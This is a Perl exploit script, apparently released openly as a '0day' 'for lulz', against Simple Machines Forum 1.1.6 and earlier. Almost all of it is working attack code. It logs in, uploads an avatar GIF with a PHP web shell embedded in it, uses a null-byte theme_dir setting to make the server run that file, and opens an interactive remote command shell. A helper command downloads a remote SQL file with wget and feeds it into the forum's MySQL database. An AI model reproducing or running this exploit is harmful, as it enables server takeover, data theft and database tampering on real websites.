#!/usr/bin/perl
#
# @title: Simple Machines Forum Code Execution
# @versn: * <= 1.1.6
# @authr: ~elmysterio ( a.k.a us )
# @stats: DROPPED!!!!!!!
# @descp: In loving memory of the rare bone marrow disease that killed rgod. 
#         We can't thank you enough for killing a bug killer. 
# @bug  : Sources/QueryString.php  & Sources/Themes.php w/ magic_quotes == Off
# @gr33t: m0rt's failure,  it never stops.
#   
# C:\Documents and Settings\molest>perl P:\advisories\smf\smf_localfileinclude.pl
# -s http://localhost/audit/smf116 -u regular -p test -d
# [ii] 0day Simple Machines Forum <= 1.1.6 Code Execution
# [ii] Session ID = e6abb52c4dc7fd4ecd7b307f66e9cd9d
# [ii] User Id = 2
# [ii] Uploaded a shell...
# [cmd@win32]$ ver
# 
# Microsoft Windows XP [Version 5.1.2600]
# 
# [cmd@win32]$
#
#  FOR LULZ PURPOSE ONLY!!
#
use strict;
use warnings;
use LWP::UserAgent;
use HTTP::Request::Common;
use Getopt::Long qw(:config no_ignore_case);

print "[ii] 0day Simple Machines Forum <= 1.1.6 Code Execution\n";

my $ua = LWP::UserAgent->new( cookie_jar => {}, agent => "Mozilla FireFox" );
my %parms = (  s => "",
            d => 0,
            x => sub { print "[**] Proxy found, using $_[1]\n"; $ua->proxy(['http'], $_[1]); },
            u => "Gl0ria!!!",
            p => "gl0ria\@herb3st" );

GetOptions \%parms, "s=s", "d", "x=s", "u=s", "p=s"; 

if( !$parms{s} ) {
    die <<HELP
[ii] usage: $0 <parms>
  [-s]    Site        -> http://site.com/forums
  [-x]  Proxy       -> localhost:8118
  [-u]  Username    -> Gl0ria!!!
  [-p]    Password    -> gl0ria\@herb3st
  [-d]    Debug
HELP
}

my $shell = chr(0x47).chr(0x49).chr(0x46).chr(0x38).chr(0x39).chr(0x61).
      chr(0x01).chr(0x00).chr(0x01).chr(0x00).chr(0xf7).chr(0x00).
      chr(0x00).chr(0xa4).chr(0xb6).chr(0xa4).chr(0x16).chr(0x00).
      chr(0x00).chr(0xf4).chr(0x00).chr(0x00).chr(0x77).chr(0x00).
      chr(0x00).chr(0x6b).chr(0x00).chr(0x4c).chr(0x15).chr(0x00).
      chr(0x00).chr(0xf4).chr(0x00).chr(0x69).chr(0x77).chr(0x00). 
      chr(0x00).chr(0xf8).chr(0x00).chr(0x6e).chr(0x62).chr(0x00).
      chr(0x00).chr(0x15).chr(0x00).chr(0x67).chr(0x00).chr(0x00).
      chr(0x00).chr(0x34).chr(0x00).chr(0x75).chr(0x00).chr(0x00).
      chr(0x00).chr(0x00).chr(0x00).chr(0x61).chr(0xc0).chr(0x00).
      chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).
      chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).
      chr(0x00).chr(0x89).chr(0x00).chr(0x00).chr(0x1c).chr(0x00).
      chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).
      chr(0x00).chr(0xa9).chr(0x00).chr(0x00).chr(0x20).chr(0x00).
      chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).
      chr(0x00).chr(0x6f).chr(0x00).chr(0x00).chr(0x00).chr(0x00).
      chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).
      chr(0x00).chr(0x56).chr(0x00).chr(0x00).chr(0x00).chr(0x00).
      chr(0x00); $shell .= <<'EXIF';
<?php 
 error_reporting(0);ini_set('max_execution_time',0);
 $x=trim(stripslashes($_SERVER[HTTP_SERVER_INFO]));$z=(ini_get('safe_mode') or strpos(ini_get('disable_functions'),'passthru') ? '1' : '0');
 if($x=='0998'){print '---info---'.PHP_OS.';'.$z.'---info---';exit;}
 print '---1243---';if($z){print eval($x);}else{print passthru($x);}print '---3421---';exit; 
?>
EXIF
      $shell .= chr(0x38).chr(0x00).chr(0x00).chr(0xe5).chr(0x00).
      chr(0x00).chr(0x12).chr(0x00).chr(0x00).chr(0x00).chr(0x00).
      chr(0x00).chr(0x00).chr(0x00).chr(0x98).chr(0x01).chr(0x00).
      chr(0xcc).chr(0x00).chr(0x00).chr(0x15).chr(0x00).chr(0x00).
      chr(0x00).chr(0x58).chr(0x00).chr(0x10).chr(0xe6).chr(0x00).
      chr(0x04).chr(0x12).chr(0x00).chr(0x10).chr(0x00).chr(0x00).
      chr(0x04).chr(0x05).chr(0x00).chr(0x01).chr(0x90).chr(0x00).
      chr(0x00).chr(0xf6).chr(0x00).chr(0x00).chr(0x77).chr(0x00).
      chr(0x00).chr(0xc8).chr(0x00).chr(0x10).chr(0xd5).chr(0x00).
      chr(0xe8).chr(0xf5).chr(0x00).chr(0x12).chr(0x77).chr(0x00).
      chr(0x00).chr(0xff).chr(0x00).chr(0x13).chr(0xff).chr(0x00).
      chr(0x6c).chr(0xff).chr(0x00).chr(0x6c).chr(0xff).chr(0x00).
      chr(0x74).chr(0x6a).chr(0x00).chr(0x03).chr(0x16).chr(0x00).
      chr(0x00).chr(0xf4).chr(0x00).chr(0x00).chr(0x77).chr(0x00).
      chr(0x00).chr(0xc4).chr(0x00).chr(0x30).chr(0x1e).chr(0x00).
      chr(0x75).chr(0xe5).chr(0x00).chr(0x15).chr(0x77).chr(0x00).
      chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).
      chr(0x00).chr(0x15).chr(0x00).chr(0x00).chr(0x00).chr(0x00).
      chr(0x00).chr(0x00).chr(0x00).chr(0xdc).chr(0x00).chr(0x00).
      chr(0xe7).chr(0x00).chr(0x00).chr(0x12).chr(0x00).chr(0x00).
      chr(0x00).chr(0x70).chr(0x00).chr(0x01).chr(0x59).chr(0x00).
      chr(0x00).chr(0x18).chr(0x00).chr(0x00).chr(0x00).chr(0x00).
      chr(0x00).chr(0x04).chr(0x00).chr(0x88).chr(0x01).chr(0x00).
      chr(0xe8).chr(0x05).chr(0x00).chr(0x12).chr(0x01).chr(0x00).
      chr(0x00).chr(0x6c).chr(0x00).chr(0x04).chr(0xe3).chr(0x00).
      chr(0x42).chr(0x12).chr(0x00).chr(0x6e).chr(0x00).chr(0x00).
      chr(0x74).chr(0x7e).chr(0x00).chr(0x30).chr(0x00).chr(0x00).
      chr(0x87).chr(0x00).chr(0x00).chr(0x6e).chr(0xc0).chr(0x00).
      chr(0x74).chr(0x00).chr(0x00).chr(0xff).chr(0x00).chr(0x00).
      chr(0xff).chr(0x00).chr(0x00).chr(0xff).chr(0x00).chr(0x00).
      chr(0xff).chr(0xff).chr(0x00).chr(0xd6).chr(0xff).chr(0x00).
      chr(0x32).chr(0xff).chr(0x00).chr(0x6e).chr(0xff).chr(0x00).
      chr(0x74).chr(0xff).chr(0x00).chr(0x6c).chr(0xff).chr(0x00).
      chr(0x5b).chr(0xff).chr(0x00).chr(0xe5).chr(0xff).chr(0x00).
      chr(0x77).chr(0x00).chr(0x00).chr(0x53).chr(0x00).chr(0x00).
      chr(0x15).chr(0x00).chr(0x00).chr(0x53).chr(0x00).chr(0x00).
      chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).
      chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).
      chr(0x00).chr(0x00).chr(0x00).chr(0x07).chr(0x00).chr(0x00).
      chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).
      chr(0x00).chr(0x6b).chr(0x00).chr(0x00).chr(0x00).chr(0x00).
      chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).
      chr(0x00).chr(0x58).chr(0x00).chr(0x00).chr(0x03).chr(0x00).
      chr(0xf0).chr(0x00).chr(0x00).chr(0x15).chr(0x00).chr(0x00).
      chr(0x00).chr(0x06).chr(0x00).chr(0x00).chr(0xf6).chr(0x00).
      chr(0x00).chr(0xe4).chr(0x00).chr(0x00).chr(0x77).chr(0x00).
      chr(0x00).chr(0x0f).chr(0x00).chr(0x00).chr(0x1e).chr(0x00).
      chr(0x00).chr(0xe5).chr(0x00).chr(0x00).chr(0x77).chr(0x00).
      chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x01).chr(0x00).
      chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).
      chr(0x00).chr(0xf8).chr(0x74).chr(0x00).chr(0x62).chr(0xe7).
      chr(0x00).chr(0x01).chr(0x12).chr(0x00).chr(0x00).chr(0x00).
      chr(0x00).chr(0x00).chr(0xc8).chr(0x68).chr(0x00).chr(0x28).
      chr(0x32).chr(0x15).chr(0xe5).chr(0xe6).chr(0x00).chr(0x77).
      chr(0x77).chr(0xa4).chr(0x00).chr(0xff).chr(0xe5).chr(0x00).
      chr(0xff).chr(0x12).chr(0x00).chr(0xff).chr(0x00).chr(0x00).
      chr(0xff).chr(0x00).chr(0x00).chr(0x6c).chr(0x00).chr(0x00).
      chr(0x5b).chr(0x00).chr(0x00).chr(0xe5).chr(0x00).chr(0x00).
      chr(0x77).chr(0xfc).chr(0xf8).chr(0x36).chr(0xf7).chr(0x62).
      chr(0x00).chr(0x12).chr(0x15).chr(0x00).chr(0x00).chr(0x00).
      chr(0x00).chr(0x05).chr(0x00).chr(0x36).chr(0x90).chr(0x01).
      chr(0x00).chr(0xf6).chr(0x00).chr(0x00).chr(0x77).chr(0x00).
      chr(0x00).chr(0xc8).chr(0x04).chr(0xd8).chr(0xd5).chr(0x29).
      chr(0xed).chr(0xf5).chr(0xe5).chr(0x12).chr(0x77).chr(0x77).
      chr(0x00).chr(0xff).chr(0x94).chr(0xff).chr(0xff).chr(0xe7).
      chr(0xff).chr(0xff).chr(0x12).chr(0xff).chr(0xff).chr(0x00).
      chr(0xff).chr(0x6a).chr(0x64).chr(0x00).chr(0x16).chr(0x2f).
      chr(0x00).chr(0xf4).chr(0xe6).chr(0x00).chr(0x77).chr(0x77).
      chr(0x00).chr(0xe0).chr(0x00).chr(0x9c).chr(0x18).chr(0x00).
      chr(0xe8).chr(0xe5).chr(0x00).chr(0x12).chr(0x77).chr(0x00).
      chr(0x00).chr(0x00).chr(0xff).chr(0x4e).chr(0x00).chr(0xff).
      chr(0x21).chr(0x15).chr(0xff).chr(0x4c).chr(0x00).chr(0xff).
      chr(0x00).chr(0x00).chr(0x6f).chr(0x7c).chr(0x00).chr(0x10).
      chr(0xe8).chr(0x00).chr(0xe5).chr(0x12).chr(0x00).chr(0x77).
      chr(0x00).chr(0xf8).chr(0x00).chr(0x7b).chr(0x62).chr(0x00).
      chr(0xe0).chr(0x15).chr(0x00).chr(0x4e).chr(0x00).chr(0x00).
      chr(0x00).chr(0x00).chr(0x98).chr(0xb0).chr(0x01).chr(0xe8).
      chr(0xe8).chr(0x00).chr(0x12).chr(0x12).chr(0x00).chr(0x00).
      chr(0x00).chr(0x64).chr(0x98).chr(0x6f).chr(0x2f).chr(0x10).
      chr(0x10).chr(0xe6).chr(0xe5).chr(0xe5).chr(0x77).chr(0x77).
      chr(0x77).chr(0x00).chr(0x10).chr(0x52).chr(0x00).chr(0xe4).
      chr(0xe9).chr(0x00).chr(0x4e).chr(0x12).chr(0x00).chr(0x00).
      chr(0x00).chr(0x61).chr(0x20).chr(0xc8).chr(0x00).chr(0x02).
      chr(0xff).chr(0x6c).chr(0x4f).chr(0xff).chr(0x00).chr(0x00).
      chr(0x7f).chr(0x69).chr(0x00).chr(0x1c).chr(0x00).chr(0x01).
      chr(0xe9).chr(0x61).chr(0x00).chr(0x12).chr(0x00).chr(0x00).
      chr(0x00).chr(0x29).chr(0x94).chr(0x00).chr(0x00).chr(0xe7).
      chr(0x00).chr(0x00).chr(0x12).chr(0x00).chr(0x00).chr(0x00).
      chr(0x00).chr(0x00).chr(0x00).chr(0x6f).chr(0x00).chr(0x01).
      chr(0x10).chr(0x00).chr(0x00).chr(0xe5).chr(0x00).chr(0x00).
      chr(0x77).chr(0x00).chr(0xa0).chr(0x00).chr(0x00).chr(0x3a).
      chr(0x00).chr(0x00).chr(0x50).chr(0x00).chr(0x00).chr(0x00).
      chr(0x00).chr(0x00).chr(0x00).chr(0x01).chr(0x00).chr(0x30).
      chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x69).
      chr(0x00).chr(0x00).chr(0x61).chr(0x60).chr(0x00).chr(0x74).
      chr(0xf1).chr(0x00).chr(0x74).chr(0x15).chr(0x00).chr(0x69).
      chr(0x00).chr(0x00).chr(0x00).chr(0xf0).chr(0x00).chr(0x00).
      chr(0xaa).chr(0x00).chr(0x02).chr(0x47).chr(0x00).chr(0x00).
      chr(0x00).chr(0x21).chr(0xf9).chr(0x04).chr(0x00).chr(0x00).
      chr(0x00).chr(0x00).chr(0x00).chr(0x2c).chr(0x00).chr(0x00).
      chr(0x00).chr(0x00).chr(0x01).chr(0x00).chr(0x01).chr(0x00).
      chr(0x07).chr(0x08).chr(0x04).chr(0x00).chr(0x01).chr(0x04).
      chr(0x04).chr(0x00).chr(0x3b).chr(0x00);

## Logging in
my $ret = $ua->post("$parms{s}/index.php?action=login2",
    [
      user      => $parms{u},
      passwrd      => $parms{p},
      cookielength  => -1
    ]);

## Getting id, sid and checking to see if we're logged on
$ret = $ua->get("$parms{s}/index.php?action=profile");

die "[!!] Wrong username/password\n"
  unless $ret->as_string !~ /The user whose profile you are trying to view does not exist/;

die "[!!] Error getting session id\n"
  unless my($sid) = $ret->as_string =~ /sesc=([a-z0-9]{32})/;

die "[!!] Error getting id\n"
  unless my($id) = $ret->as_string =~ /u=(\d+);/;

print "[ii] Session ID = $sid\n".
      "[ii] User Id = $id\n" if $parms{d};

## Checking for shell
$ret = $ua->get("$parms{s}/index.php?action=theme;sa=pick;u=${id};sesc=${sid}", SERVER_INFO => "echo expl0ited");

&shell
  if $ret->as_string =~ /expl0ited/;

$ret = $ua->request( 
    POST "$parms{s}/index.php?action=profile2",
    Content_Type  => 'multipart/form-data',
    Content      =>
    [
      avatar_choice  => "upload",
      sc        => $sid,
      userID      => $id,
      sa        => "forumProfile",
      attachment    =>
      [
        undef,
        "expl0ited.gif",
        Content         => $shell,
        "Content-Type"  => "image/gif"
      ]
    ]);

## Updating Settings.php
$ret = $ua->get("$parms{s}/index.php?action=jsoption;sesc=${sid};th=32;var=theme_dir;val=./attachments/avatar_${id}.gif\%2500");

print "[ii] Uploaded a shell...\n"
    if $parms{d};

shell();

## lulz @ this shit.
sub shell {
  my ($full,$base,$user,$pass,$file,$cmd,$os,$sh);
    $ret = $ua->get("$parms{s}/index.php?action=theme;sa=pick;u=${id};sesc=${sid}", SERVER_INFO => '0998' );
    ($os,$sh) = $ret->as_string =~ /---info---(.*?);(\d?)---info---/s;

  die "[!!] magic_quotes is turned on\n"
    if (not defined $os or not defined $sh or $1 eq $id);
    
    $sh = $sh ? "php" : "cmd";
    $os = $os =~ /win/i ? "win32" : "unix";
    
    do {
    print "[$sh\@$os]\$ ";
    $cmd = chomp (my $cmd = <STDIN>);
    

    exit
      unless $cmd !~ /^exit$/i;

        if( ($file) = $cmd =~ /^savefile (.*?) / ) {
            $cmd =~ s/savefile $1 //;
        } else { undef $file; }
        
        if( ($user,$pass,$full) = $cmd =~ /^mysql (.*?) (.*?) (.*?)$/ ) {
            ($base) = $full =~ /\/(.*?)$/;
            $cmd = "cd attachments;wget $full; mysql --user=$user --password=$pass < $base; rm $base;";
        }

        $ret = $ua->get("$parms{s}/index.php?action=theme;sa=pick;u=${id};sesc=${sid}", SERVER_INFO => $cmd);
        $ret->as_string =~ /---1243---(.*?)---3421---/s;
        print "$1\n";

        if( defined $file ) {
            open FILE, ">>", $file or die "[!!] Error writing to file; $!\n";
            print FILE "Command Executed: $cmd\n".
                       "Host: $parms{s}\n$1\n";
            close FILE;
        }
  } while( $cmd !~ /^exit$/i );

  exit;
}